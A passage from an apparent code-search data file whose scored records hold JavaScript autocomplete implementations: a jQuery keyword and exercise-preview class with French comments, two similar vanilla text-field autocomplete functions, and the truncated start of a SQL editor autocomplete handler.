input-bg\n\t\t\tthis.setInputBgBoxText(params, '');\n\t\t\t//le premier LI\t\n\t\t\tthis.setFirstLiWord('');\n\t\t\t//on set les KWids focused\n\t\t\tthis.setFocusedKwIds('', '');\n\t\t\t}\n\t\t//flasg de match pour quand il appui enter quand meme\n\t\t//car peut etre un permutation de lettre \n\t\tif(bFoundMatch){\n\t\t\tthis.bFoundAutoCompleteMatch = true;\t\n\t\t\t}\n\t\t//si on a au moins un resultat d'un kwtype\n\t\tif(this.bHaveAutoCompleteResult){\n\t\t\t//get la position du serach box\n\t\t\tvar strData = '<UL class=\"listing\" focus-id=\"0\" focus-id-max=\"' + iNumTotalRows + '\">' + strDataContent + '</UL>';\n\t\t\t//on ajoute le data\n\t\t\t$('#' + this.baseDivId).html(strData);\n\t\t\t//on show\t\n\t\t\t$('#' + this.baseDivId).css({'display':'block'});\t\n\t\t\t//on met un listener pour le click sur les resultats\n\t\t\t$('#' + this.baseDivId + ' .single-result > .mclick').data('params', params);\n\t\t\t$('#' + this.baseDivId + ' .single-result > .mclick').data('uid', this.uid);\n\t\t\t//si enabled\n\t\t\tif(this.bEnableMouseOver){\n\t\t\t\t//le mouse over du li pour ouvrir exercice\n\t\t\t\t$('#' + this.baseDivId + ' .single-result > .mclick').mouseover(function(e){\n\t\t\t\t\t//get parent class\n\t\t\t\t\tvar oTmp = $(document).data('jappzclass-' + $(this).data('uid'));\n\t\t\t\t\tif(typeof(oTmp) == 'object'){\n\t\t\t\t\t\t//on stop le timer de fetch preview exercise\n\t\t\t\t\t\tclearTimeout(oTmp.jautocomplete.timerFetchExercisePreview);\n\t\t\t\t\t\t//on reset le pid du preview\n\t\t\t\t\t\toTmp.jautocomplete.lastExercisePreviewPid = 0;\n\t\t\t\t\t\t//on set les KWids focused\n\t\t\t\t\t\toTmp.jautocomplete.setFocusedKwIds($(this).attr('keyword-ids'), $(this).attr('keyword-word'));\n\t\t\t\t\t\t//on va loader un preview timer si reste longtemps dessus\n\t\t\t\t\t\tif(oTmp.jautocomplete.bEnableExercisePreview){\n\t\t\t\t\t\t\toTmp.jautocomplete.timerFetchExercisePreview = setTimeout(oTmp.jautocomplete.fetchExercisePreviewWithDelay.bind(oTmp.jautocomplete, $(this).data('params'), oTmp.jautocomplete.getFocusedKwIds(), $(this).attr('li-pos')), oTmp.jautocomplete.timePreviewDelay);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t//le mouse out\n\t\t\t\t$('#' + this.baseDivId + ' .single-result > .mclick').mouseout(function(e){\n\t\t\t\t\t//get parent class\n\t\t\t\t\tvar oTmp = $(document).data('jappzclass-' + $(this).data('uid'));\n\t\t\t\t\tif(typeof(oTmp) == 'object'){\n\t\t\t\t\t\t//on stop le timer de fetch preview exercise\n\t\t\t\t\t\tclearTimeout(oTmp.jautocomplete.timerFetchExercisePreview);\n\t\t\t\t\t\t//on reset le pid du preview\n\t\t\t\t\t\toTmp.jautocomplete.lastExercisePreviewPid = 0;\n\t\t\t\t\t\t//le focus one\n\t\t\t\t\t\tvar iFocusId = $(this).attr('li-pos');\n\t\t\t\t\t\t//remove le UL\n\t\t\t\t\t\t//$('#lisr' + iFocusId + ' > UL.exercises').css({'display':'none'});\n\t\t\t\t\t\t$('#' + oTmp.baseDivId + ' ' + '#lisr' + iFocusId + ' > UL.exercises').css({'display':'none'});\n\t\t\t\t\t\t//check si avait deja un preview de loader = 1\n\t\t\t\t\t\t//si oui setter le status a 2 pour eviter de \n\t\t\t\t\t\t//reloader pour rien la prochaine fois\n\t\t\t\t\t\t//if($('#lisr' + iFocusId).attr('preview-loaded') == '1'){\t\n\t\t\t\t\t\tif($('#' + oTmp.baseDivId + ' ' + '#lisr' + iFocusId).attr('preview-loaded') == '1'){\t\n\t\t\t\t\t\t\t//set l'attribute a non loaded\n\t\t\t\t\t\t\t//$('#lisr' + iFocusId).attr('preview-loaded', '2');\n\t\t\t\t\t\t\t$('#' + oTmp.baseDivId + ' ' + '#lisr' + iFocusId).attr('preview-loaded', '2');\n\t\t\t\t\t\t\t}\t\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t}\t\t\n\t\t\t//on met un listener pour le click sur les resultats\t\t\n\t\t\t$('#' + this.baseDivId + ' .single-result > .mclick').click(function(e){\n\t\t\t\te.preventDefault();\n\t\t\t\t//get parent class\n\t\t\t\tvar oTmp = $(document).data('jappzclass-' + $(this).data('uid'));\n\t\t\t\tif(typeof(oTmp) == 'object'){\n\t\t\t\t\tvar keywordIds = $(this).attr('keyword-ids');\n\t\t\t\t\tvar keywordWord = $(this).attr('keyword-word');\n\t\t\t\t\tvar params = $(this).data('params');\n\t\t\t\t\toTmp.debug(params.input + ' -> Clicked');\n\t\t\t\t\t//set le input et nput-bg\n\t\t\t\t\toTmp.jautocomplete.setInputBoxText(params, keywordWord, true);\n\t\t\t\t\t//set le focus sur input\n\t\t\t\t\tparams.refinput.focus();\n\t\t\t\t\t//set les keywords ids focused\n\t\t\t\t\toTmp.jautocomplete.setFocusedKwIds(keywordIds, keywordWord);\n\t\t\t\t\t//fetch le listing d'exercice en rapport avec les keyword ids\n\t\t\t\t\tif(oTmp.jsearch.getExerciceListingByKeywordIds(oTmp.jautocomplete.getFocusedKwIds(), oTmp.jautocomplete.getCurrentWord(params))){\n\t\t\t\t\t\t//hide the form\n\t\t\t\t\t\toTmp.resetSearchWindowResult(oTmp.jautocomplete.getCurrentWord(params), true);\n\t\t\t\t\t\t//\n\t\t\t\t\t\toTmp.jautocomplete.setLastSearchString(oTmp.jautocomplete.getCurrentWord(params));\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t//on eneleve le autocomplete\n\t\t\t\t\toTmp.jautocomplete.resetSingleAutoComplete(params);\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t//on quitte\n\t\t\treturn;\n\t\t}else{\n\t\t\t//pas de resultat alors on enleve le li et les focused kw ids\n\t\t\tthis.setFirstLiWord('');\n\t\t\tthis.setFocusedKwIds('', '');\n\t\t\t//on nettoie le input box bg\n\t\t\tthis.setInputBgBoxText(params, '');\n\t\t\t//on dit que lon a rien\n\t\t\tvar data = '<UL class=\"listing\" focus-id=\"0\" focus-id-max=\"0\"><LI class=\"single-result-title\">' + this.jlang.t('no result') + '</LI></UL>'; \n\t\t\t//on ajoute le data\n\t\t\t$('#' + this.baseDivId).html(data);\n\t\t\t//on show\t\n\t\t\t$('#' + this.baseDivId).css({'display':'block'});\n\t\t\t//on sen va byebye!\n\t\t\treturn;\n\t\t\t}\n\t\t};\n\t\n\t\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.triggerInputEvent = function(strInputName){\n\t\tthis.debug('triggerInputEvent()', strInputName);\n\t\tvar ev = $.Event('keyup');\n\t\tev.which = 13; // <ENTER>\n\t\t$('#' + strInputName).trigger(ev);\n\t\t};\n\n\t\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.fetchExercisePreviewWithDelay = function(params, strKwIds, strLiId){\n\t\tthis.debug('fetchExercisePreviewWithDelay()', params, strKwIds, strLiId);\n\t\t//si enabled\n\t\tif(this.bEnableExercisePreview){\n\t\t\t//check si les exercice etait deja loade\n\t\t\t//var strLoaded = $('#lisr' + strLiId).attr('preview-loaded');\t\n\t\t\tvar strLoaded = $('#' + this.baseDivId + ' ' + '#lisr' + strLiId).attr('preview-loaded');\t\n\t\t\t//on envoi la requete au serveur pour aller chercher le data\n\t\t\tif(strLoaded == '0'){\n\t\t\t\tthis.lastExercisePreviewPid = this.mainAppz.jsearch.getExerciceListingByKeywordIdsForPreview(params, strKwIds, strLiId);\n\t\t\t}else if(strLoaded == '2'){\n\t\t\t\t//cest que lon a deja le data alors \n\t\t\t\t//il faut juste le faire apparaitre de nouveau\n\t\t\t\t//$('#lisr' + strLiId + ' > UL.exercises').css({'display':'block'});\n\t\t\t\t$('#' + this.baseDivId + ' ' + '#lisr' + strLiId + ' > UL.exercises').css({'display':'block'});\n\t\t\t\t//on remet le statut du preview a 1\t\t\n\t\t\t\t//$('#lisr' + strLiId).attr('preview-loaded', '1');\t\n\t\t\t\t$('#' + this.baseDivId + ' ' + '#lisr' + strLiId).attr('preview-loaded', '1');\t\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.fetchExercisePreviewRFS = function(obj, params, strLiId, pid){\n\t\tthis.debug('fetchExercisePreviewRFS()', obj, params, strLiId, pid);\n\t\t//\n\t\t//check si le pid est le dernier, car certain resultat arrive plus tard que la derniere demande\n\t\tif(this.lastExercisePreviewPid != pid){\n\t\t\t//rien a faire\n\t\t\tthis.debug('REJECT(' + this.lastExercisePreviewPid + ') != ' + pid);\n\t\t\treturn;\n\t\t\t}\n\t\t//si le preview est deja loadeau cas ou il retourne dessus\n\t\t//var strLoaded = $('#lisr' + strLiId).attr('preview-loaded');\n\t\tvar strLoaded = $('#' + this.baseDivId + ' ' + '#lisr' + strLiId).attr('preview-loaded');\n\t\t//pas loader alors on y va avec les result\n\t\tvar oData = obj.data;\n\t\t//le nom des filters\t\n\t\tvar oFilters = obj.filters;\t\n\t\tif(strLoaded == '0'){\n\t\t\t//on continue\n\t\t\tvar str = '<UL class=\"exercises\">';\n\t\t\tfor(var o in oData){\n\t\t\t\t//le LI\n\t\t\t\tstr += '<LI class=\"single-exercises\">';\t\n\t\t\t\t//le image container\t\n\t\t\t\tstr += '<DIV class=\"img-container\">';\n\t\t\t\tif(typeof(oData[o].thumb) == 'string'){\n\t\t\t\t\tif(oData[o].thumb != ''){\n\t\t\t\t\t\tstr += '<img src=\"' + gExerciceImagePath + oData[o].thumb + '\">'\n\t\t\t\t\t\t}\t\n\t\t\t\t\t}\n\t\t\t\tstr += '</DIV>';\t\t\n\t\t\t\t//le titre\n\t\t\t\tstr += '<DIV class=\"text-container\">';\t\n\t\t\t\tif(oData[o].shortTitle == ''){\n\t\t\t\t\tstr += oData[o].codeExercise;\n\t\t\t\t}else{\n\t\t\t\t\tstr += oData[o].shortTitle;\n\t\t\t\t\t}\n\t\t\t\t//les filters si il y a\n\t\t\t\tvar strFilter = '';\n\t\t\t\tif(typeof(oData[o].filter) == 'object'){\n\t\t\t\t\tfor(var p in oData[o].filter){\n\t\t\t\t\t\tstrFilter += oFilters[oData[o].filter[p]] + ', ';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t//le long title\n\t\t\t\tstr += '<SPAN>';\n\t\t\t\tif(oData[o].title != ''){\n\t\t\t\t\tstr += '<BR />' + oData[o].title;\t\n\t\t\t\t\t}\n\t\t\t\t//les filteers si il y a\n\t\t\t\tif(strFilter != ''){\n\t\t\t\t\tstr += '<BR /><i>(' + strFilter.substr(0, (strFilter.length - 2)) + ')</i>';\n\t\t\t\t\t}\n\t\t\t\tstr += '</SPAN>';\t\t\t\n\t\t\t\tstr += '</DIV>';\t\t\t\n\t\t\t\tstr += '</LI>';\t\t\n\t\t\t\t}\n\t\t\t//affiche combien il en reste\n\t\t\tstr += '<LI class=\"single-exercises maxcount\">';\n\t\t\tstr += '<DIV class=\"text-container\">';\t\t\n\t\t\tstr += this.jlang.t('total') + obj.maxcount;\n\t\t\tstr += '</DIV>';\t\t\n\t\t\tstr += '</LI>';\t\t\t\n\t\t\t//ferme le UL\t\n\t\t\tstr += '</UL>';\n\t\t\t//show result\n\t\t\t//$('#lisr' + strLiId).append(str);\n\t\t\t$('#' + this.baseDivId + ' ' + '#lisr' + strLiId).append(str);\n\t\t\t//on change le status\n\t\t\t//$('#lisr' + strLiId).attr('preview-loaded', 1);\n\t\t\t$('#' + this.baseDivId + ' ' + '#lisr' + strLiId).attr('preview-loaded', 1);\n\t\t\t}\n\t\treturn;\n\t\t};\n\n\n\t//----------------------------------------------------------------------------------------------------------------------*\n\t/*\n\tDATA:\n\t\t.input:'input-search',\n\t\t.layer:'main-input',\n\t\t.type:'exercise', \n\t\t.position:'under',\n\t\t\n\t\t// les deux plus bas vont etre declare plus loin et \n\t\t//serviront de jquery selector pour aller plus vite \n\t\t//au lieu de les chercher a chaque fois\n\t\t.refinput \t\n\t\t.refinputbg\n\t\t\n\t\t//le container du autocompete result\n\t\t.refresult\n\t\t\n\t*/\n\tthis.addInputBox = function(){\n\t\tvar inputs = {\n\t\t\tlayer: 'main-input-' + this.uid,\n\t\t\tinput: 'search-input-' + this.uid,\n\t\t\t};\n\t\tthis.debug('addInputBox()');\t\n\t\t//ajoute au array\n\t\tthis.arrInputBox[inputs.input] = inputs;\n\t\tvar strContainerInput = inputs.layer + '-div';\n\t\t//str html\n\t\t//le container des inputs\n\t\tvar str = '<div id=\"' + strContainerInput + '\">';\n\t\t//div container box for positionning\n\t\t//le input en bg aura toujours le meme nom avec \"-bg\" en plus\n\t\tstr += '<div class=\"input\"><input name=\"' + inputs.input + '-bg\" id=\"' + inputs.input + '-bg\" type=\"text\" disabled autocomplete=\"off\" maxlength=\"256\" spellcheck=\"false\" value=\"' + this.currentSearchWord + '\"></div>';\n\t\t//le input principal\n\t\tstr += '<div class=\"input\"><input name=\"' + inputs.input + '\" id=\"' + inputs.input + '\" class=\"translucide\" type=\"text\" autocomplete=\"off\" maxlength=\"256\" spellcheck=\"false\" placeholder=\"' + this.jlang.t('exercises search') + '\" value=\"' + this.currentSearchWord + '\"></div>';\n\t\t//le auto complete\n\t\tstr += '<div id=\"' + this.baseDivId + '\" class=\"kw-content-result\"></div>';\t\n\t\t//ferme le div container\t\n\t\tstr += '</div>';\n\t\t//on va creer le input box dans le laqyer desire\n\t\t$('#' + inputs.layer).html(str);\n\t\t//on va setter le focus dessus\n\t\tif(this.bFocusOnInput){\n\t\t\t$('#' + inputs.input).focus();\t\n\t\t\t}\n\t\t//le ref du onject jqeury selector pour eviter de reparcourrir a chaque fois\n\t\tthis.arrInputBox[inputs.input].refresult = $('#' + strContainerInput);\t\n\t\tthis.arrInputBox[inputs.input].refinput = $('#' + inputs.input);\n\t\tthis.arrInputBox[inputs.input].refinputbg = $('#' + inputs.input + '-bg');\n\t\t//all inputs keyup\n\t\tthis.arrInputBox[inputs.input].refinput.data('params', this.arrInputBox[inputs.input]);\n\t\tthis.arrInputBox[inputs.input].refinput.data('uid', this.uid);\n\t\t//selon le type serach\n\t\tthis.arrInputBox[inputs.input].refinput.keyup(function(e){\n\t\t\t//get parent class\n\t\t\tvar oTmp = $(document).data('jappzclass-' + $(this).data('uid'));\n\t\t\tif(typeof(oTmp) == 'object'){\n\t\t\t\tvar oParams = $(this).data('params');\n\t\t\t\toTmp.jautocomplete.fetchAutoCompleteData(e, $(this).val(), oParams);\n\t\t\t\t}\n\t\t\t});\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.rmInputBox = function(strInputName){\n\t\tthis.debug('rmInputBox()', strInputName);\t\n\t\t//event du butt\n\t\tthis.arrInputBox[strInputName].refinput.unbind();\t\t\n\t\tthis.arrInputBox[strInputName].refinputbg.unbind();\t\t\n\t\t//\n\t\tdelete(this.arrInputBox[strInputName]);\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.resetMainAutoComplete = function(){\n\t\tthis.debug('resetMainAutoComplete()');\t\n\t\t//le auto complete\n\t\tfor(var o in this.arrInputBox){\n\t\t\t$('#' + this.baseDivId).css({'display':'none'});\n\t\t\t$('#' + this.baseDivId).text('');\t\n\t\t\t}\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.resetSingleAutoComplete = function(params){\n\t\tthis.debug('resetSingleAutoComplete()', params);\t\n\t\t//le auto complete\n\t\t$('#' + this.baseDivId).css({'display':'none'});\n\t\t$('#' + this.baseDivId).text('');\t\n\t\t//\n\t\tthis.setFocusedKwIds('', '');\n\t\t};\n\t\t\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.hideAutoComplete = function(){\n\t\tthis.debug('hideAutoComplete()');\t\n\t\t//le auto complete\n\t\t$('#' + this.baseDivId).css({'display':'none'});\n\t\t};\t\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.resetSearchInputBox = function(){\n\t\tthis.debug('resetSearchInputBox()');\t\n\t\t\n\t\tfor(var o in this.arrInputBox){\n\t\t\t//all inputs\n\t\t\tthis.setInputBgBoxText(this.arrInputBox[o], '');\n\t\t\t//\n\t\t\tthis.setFocusedKwIds('', '');\n\t\t\t//\n\t\t\tthis.setInputBoxText(this.arrInputBox[o], '', true);\n\t\t\t}\n\t\t//le auto complete\n\t\tthis.resetMainAutoComplete();\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.resetSingleSearchInputBox = function(params){\n\t\tthis.debug('resetSingleSearchInputBox()', params);\t\n\t\t//\n\t\tthis.setInputBgBoxText(params, '');\n\t\t//\n\t\tthis.setFocusedKwIds('', '');\n\t\t//\n\t\tthis.setInputBoxText(params, '', true);\t\n\t\t//le auto complete\n\t\tthis.resetSingleAutoComplete(params);\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.fillInputWithString = function(str, params){\n\t\tthis.debug('fillInputWithString()', str, params);\t\n\t\t//\n\t\tthis.setInputBoxText(params, str, true);\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.resetPid = function(){\n\t\tthis.debug('resetPid()');\t\n\t\t//\n\t\tthis.lastAutoCompletePid.exercice = 0;\n\t\t};\n\n\t\t\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.sendingWordToOurTeamForValidation = function(params){\n\t\tthis.debug('sendingWordToOurTeamForValidation()', params);\t\n\t\t\n\t\tvar word = this.getLastSearchString();\n\t\tvar msg = this.jlang.t('no result for {[WORD]}') + '<br />';\n\t\t//si on avait des resultat de hint dans le autocomplete\n\t\t//on pourrait lui proposer ceux-la\n\t\tif(this.bHaveAutoCompleteResult){\n\t\t\tmsg += this.jlang.t('you can try the hints bellow:');\n\t\t\t//les hints propose avant si clique dessus \n\t\t\t//va le rajouter dans la case texte et \n\t\t\t//relancer le fetch autocomplete\n\t\t\tfor(var o in this.arrLastHintResult){\n\t\t\t\tmsg += '<LI class=\"single-hint\" keyword-word=\"' + this.arrLastHintResult[o] + '\">' + this.arrLastHintResult[o] + '</LI>';\n\t\t\t\t}\n\t\t\t}\n\t\t//on met le conenu du msg dans le LI avaec un tag title\n\t\tvar data = '<UL class=\"listing\" focus-id=\"0\" focus-id-max=\"0\"><LI class=\"single-result-msg\">' + msg.replace(/\\{\\[WORD\\]\\}/g, '<b>\"' + word + '\"</b>') + '</LI></UL>'; \n\t\t//on ajoute le data\n\t\t$('#' + this.baseDivId).html(data);\n\t\t//on show\t\n\t\t$('#' + this.baseDivId).css({'display':'block'});\n\t\t//on met l'action sur les single-hints si on en avait evidement\n\t\tif(this.bHaveAutoCompleteResult && this.arrLastHintResult.length > 0){\n\t\t\t$('#' + this.baseDivId + ' .single-hint').data('params', params);\n\t\t\t$('#' + this.baseDivId + ' .single-hint').data('uid', this.uid);\n\t\t\t$('#' + this.baseDivId + ' .single-hint').click(function(e){\n\t\t\t\te.preventDefault();\n\t\t\t\t//get parent class\n\t\t\t\tvar oTmp = $(document).data('jappzclass-' + $(this).data('uid'));\n\t\t\t\tif(typeof(oTmp) == 'object'){\n\t\t\t\t\tvar keywordWord = $(this).attr('keyword-word');\n\t\t\t\t\tvar params = $(this).data('params');\t\n\t\t\t\t\toTmp.jautocomplete.setInputFromHint(keywordWord, params);\n\t\t\t\t\t}\t\n\t\t\t\t});\t\t\t\n\t\t\t}\n\t\t//\t\n\t\t};\t\n\t\t\n\t\t\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.setInputFromHint = function(word, params){\n\t\tthis.debug('setInputFromHint()', word, params);\n\t\t//on va setter le input box comme si on avait fait \n\t\t//une recherche en tapant du texte\n\t\tthis.setInputBoxText(params, word, true);\n\t\t//set le focus sur input\n\t\tparams.refinput.focus();\t\n\t\t//on creer un fake event sur le input box\n\t\tvar evnt = $.Event('keyup',{\n\t\t\twhich: 0, //un rien\t\n\t\t\t});\n\t\t//on enleve le autoaocmplgte\n\t\tthis.hideAutoComplete();\t\n\t\t//et on fait comme si on avait tape\n\t\tthis.fetchAutoCompleteData(evnt, word, params);\n\t\t};\n\t\t\n\t//----------------------------------------------------------------------------------------------------------------------*\n\tthis.debug = function(){\n\t\tif(typeof(this.jdebug) == 'object'){\n\t\t\tif(arguments.length == 1){\t\n\t\t\t\tthis.jdebug.show(this.className + '::' + arguments[0]);\n\t\t\t}else{\n\t\t\t\tthis.jdebug.showObject(this.className + '::' + arguments[0], arguments);\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\n\t\t\n\t}", "title": "" }, { "docid": "64e1d5498cbf392d8852249de3494380", "score": "0.63262105", "text": "function autocomplete(inp, arr) {\n /*the autocomplete function takes two arguments,\n the text field element and an array of possible autocompleted values:*/\n var currentFocus;\n /*execute a function when someone writes in the text field:*/\n inp.addEventListener(\"input\", function (e) {\n var a, b, i, val = this.value;\n /*close any already open lists of autocompleted values*/\n closeAllLists();\n if (!val) {\n return false;\n }\n currentFocus = -1;\n /*create a DIV element that will contain the items (values):*/\n a = document.createElement(\"DIV\");\n a.setAttribute(\"id\", this.id + \"autocomplete-list\");\n a.setAttribute(\"class\", \"autocomplete-items\");\n /*append the DIV element as a child of the autocomplete container:*/\n this.parentNode.appendChild(a);\n /*for each item in the array...*/\n for (i = 0; i < arr.length; i++) {\n /*check if the item starts with the same letters as the text field value:*/\n if (arr[i].substr(0, val.length).toUpperCase() == val.toUpperCase()) {\n /*create a DIV element for each matching element:*/\n b = document.createElement(\"DIV\");\n /*make the matching letters bold:*/\n b.innerHTML = \"<strong>\" + arr[i].substr(0, val.length) + \"</strong>\";\n b.innerHTML += arr[i].substr(val.length);\n /*insert a input field that will hold the current array item's value:*/\n b.innerHTML += \"<input type='hidden' value='\" + arr[i] + \"'>\";\n /*execute a function when someone clicks on the item value (DIV element):*/\n b.addEventListener(\"click\", function (e) {\n /*insert the value for the autocomplete text field:*/\n inp.value = this.getElementsByTagName(\"input\")[0].value;\n /*close the list of autocompleted values,\n (or any other open lists of autocompleted values:*/\n closeAllLists();\n });\n a.appendChild(b);\n }\n }\n });\n\n /*execute a function presses a key on the keyboard:*/\n inp.addEventListener(\"keydown\", function (e) {\n var x = document.getElementById(this.id + \"autocomplete-list\");\n if (x) x = x.getElementsByTagName(\"div\");\n if (e.keyCode == 40) {\n /*If the arrow DOWN key is pressed,\n increase the currentFocus variable:*/\n currentFocus++;\n /*and and make the current item more visible:*/\n addActive(x);\n } else if (e.keyCode == 38) { //up\n /*If the arrow UP key is pressed,\n decrease the currentFocus variable:*/\n currentFocus--;\n /*and and make the current item more visible:*/\n addActive(x);\n } else if (e.keyCode == 13) {\n /*If the ENTER key is pressed, prevent the form from being submitted,*/\n e.preventDefault();\n if (currentFocus > -1) {\n /*and simulate a click on the \"active\" item:*/\n if (x) x[currentFocus].click();\n }\n }\n });\n\n function addActive(x) {\n /*a function to classify an item as \"active\":*/\n if (!x) return false;\n /*start by removing the \"active\" class on all items:*/\n removeActive(x);\n if (currentFocus >= x.length) currentFocus = 0;\n if (currentFocus < 0) currentFocus = (x.length - 1);\n /*add class \"autocomplete-active\":*/\n x[currentFocus].classList.add(\"autocomplete-active\");\n }\n\n function removeActive(x) {\n /*a function to remove the \"active\" class from all autocomplete items:*/\n for (var i = 0; i < x.length; i++) {\n x[i].classList.remove(\"autocomplete-active\");\n }\n }\n\n function closeAllLists(elmnt) {\n /*close all autocomplete lists in the document,\n except the one passed as an argument:*/\n var x = document.getElementsByClassName(\"autocomplete-items\");\n for (var i = 0; i < x.length; i++) {\n if (elmnt != x[i] && elmnt != inp) {\n x[i].parentNode.removeChild(x[i]);\n }\n }\n }\n /*execute a function when someone clicks in the document:*/\n document.addEventListener(\"click\", function (e) {\n closeAllLists(e.target);\n });\n}", "title": "" }, { "docid": "5bbbcb342a9dd757fd452acb78f1acd9", "score": "0.63174003", "text": "function autocomplete(userInp, arr, idarr) {\n /*the autocomplete function takes two arguments,\n the text field element and an array of possible autocompleted values:*/\n let currentFocus;\n /*execute a function when someone writes in the text field:*/\n userInp.addEventListener(\"input\", function(e) {\n let a, b, i, val = this.value;\n /*close any already open lists of autocompleted values*/\n closeAllLists();\n if (!val) { return false;}\n currentFocus = -1;\n /*create a DIV element that will contain the items (values):*/\n a = document.createElement(\"DIV\");\n a.setAttribute(\"id\", this.id + \"autocomplete-list\");\n a.setAttribute(\"class\", \"autocomplete-items\");\n /*append the DIV element as a child of the autocomplete container:*/\n this.parentNode.appendChild(a);\n /*for each item in the array...*/\n for (i = 0; i < arr.length; i++) {\n /*check if the item starts with the same letters as the text field value:*/\n if (arr[i].substr(0, val.length).toUpperCase() == val.toUpperCase()) {\n /*create a DIV element for each matching element:*/\n b = document.createElement(\"DIV\");\n /*make the matching letters bold:*/\n b.classList.add(\"autoCompleteOption\", idarr[i]);\n b.innerHTML = \"<strong>\" + arr[i].substr(0, val.length) + \"</strong>\";\n b.innerHTML += arr[i].substr(val.length);\n /*insert a input field that will hold the current array item's value:*/\n b.innerHTML += \"<input type='hidden' value='\" + arr[i] + \"'>\";\n /*execute a function when someone clicks on the item value (DIV element):*/\n b.addEventListener(\"click\", function(e) {\n /*insert the value for the autocomplete text field:*/\n userInp.value = this.getElementsByTagName(\"input\")[0].value;\n /*close the list of autocompleted values,\n (or any other open lists of autocompleted values:*/\n closeAllLists();\n });\n a.appendChild(b);\n }\n }\n });\n /*execute a function presses a key on the keyboard:*/\n userInp.addEventListener(\"keydown\", function(e) {\n let x = document.getElementById(this.id + \"autocomplete-list\");\n if (x) x = x.getElementsByTagName(\"div\");\n if (e.keyCode == 40) {\n /*If the arrow DOWN key is pressed,\n increase the currentFocus variable:*/\n currentFocus++;\n /*and and make the current item more visible:*/\n addActive(x);\n } else if (e.keyCode == 38) { //up\n /*If the arrow UP key is pressed,\n decrease the currentFocus variable:*/\n currentFocus--;\n /*and and make the current item more visible:*/\n addActive(x);\n } else if (e.keyCode == 13) {\n /*If the ENTER key is pressed, prevent the form from being submitted,*/\n e.preventDefault();\n if (currentFocus > -1) {\n /*and simulate a click on the \"active\" item:*/\n if (x) x[currentFocus].click();\n }\n }\n });\n function addActive(x) {\n /*a function to classify an item as \"active\":*/\n if (!x) return false;\n /*start by removing the \"active\" class on all items:*/\n removeActive(x);\n if (currentFocus >= x.length) currentFocus = 0;\n if (currentFocus < 0) currentFocus = (x.length - 1);\n /*add class \"autocomplete-active\":*/\n x[currentFocus].classList.add(\"autocomplete-active\");\n }\n function removeActive(x) {\n /*a function to remove the \"active\" class from all autocomplete items:*/\n for (let i = 0; i < x.length; i++) {\n x[i].classList.remove(\"autocomplete-active\");\n }\n }\n function closeAllLists(elmnt) {\n /*close all autocomplete lists in the document,\n except the one passed as an argument:*/\n let x = document.getElementsByClassName(\"autocomplete-items\");\n for (let i = 0; i < x.length; i++) {\n if (elmnt != x[i] && elmnt != userInp) {\n x[i].parentNode.removeChild(x[i]);\n }\n }\n }\n /*execute a function when someone clicks in the document:*/\n document.addEventListener(\"click\", function (e) {\n closeAllLists(e.target);\n });\n }", "title": "" }, { "docid": "678eccc95ae947d7d700f9a7a3b73fd3", "score": "0.6295809", "text": "function autocompleteChangeHandler(tabElement, editor, event) {\n 'use strict';\n var strScript, intCursorPosition, currentQueryRange, i, len\n , intStart, intEnd, strChar, strSearchQuery, jsnPrefix, strPreviousWord\n , strList, intPreviousWordEnd, bolPreviousCharWhitespace, bolCurrentCharPeriod\n , bolCurrentCharWhitespace, arrQueries, intEndCursorPosition\n , bolCurrentCharValidStart, bolAfterComma, bolCurrentCharOpenParen\n , bolPreviousCharOpenParen, strPreviousKeyWord, arrPreviousKeyWords\n , arrContextLists, strQueryType, arrPrefix, strSearch, intParenLevel\n , arrPreviousWords, bolCurrentCharCloseParen, bolPreviousCharCloseParen\n , intStartCursorPosition, arrFirstWords, strCurrentWord, strCurrentLine\n , bolPreviousCharReturn, bolCurrentCharReturn, bolFirstSpace\n , intOpenParen, intCloseParen, intVersion = parseFloat(contextData.minorVersionNumber, 10);\n \n // if the popup isn't already open or it's open but it's asleep\n if (autocompleteGlobals.popupOpen === false || autocompleteGlobals.popupAsleep === true) {\n // get current query range\n currentQueryRange = editor.currentQueryRange;\n \n // get full script\n strScript = editor.getValue();\n \n // get event cursor position start/end\n intStartCursorPosition = rowAndColumnToIndex(strScript, event.start.row, event.start.column);\n intEndCursorPosition = rowAndColumnToIndex(strScript, event.end.row, event.end.column);\n intCursorPosition = intStartCursorPosition;\n \n // extract the current query and subtract from intCursorPosition (because the script will get smaller)\n intStart = rowAndColumnToIndex(strScript, currentQueryRange.start.row, currentQueryRange.start.column);\n strScript = strScript.substring(intStart, intEndCursorPosition); //intCursorPosition + 1\n intCursorPosition -= intStart;\n \n // remove comments from the current query\n strScript = consumeComments(strScript);\n \n // make a search query by trimming it the current query and uppercasing it\n strSearchQuery = strScript.trim().toUpperCase();\n \n // get parenthesis level of cursor\n intParenLevel = currentQueryRange.intParenLevel;\n \n // get number of parenthesis\n intOpenParen = (strScript.match(/\\(/gi) || []).length;\n intCloseParen = (strScript.match(/\\)/gi) || []).length;\n \n // get from cursor to beginning of current line\n i = ((intEndCursorPosition - intStart) - 1);\n strCurrentLine = '';\n \n // get the current line text\n while (i > -1) {\n if (strScript[i] === '\\n') { break; }\n strCurrentLine = (strScript[i] + strCurrentLine);\n i -= 1;\n }\n \n // get the previous keywords and the previous word\n i = (intCursorPosition - 1);\n intStart = null;\n intEnd = null;\n 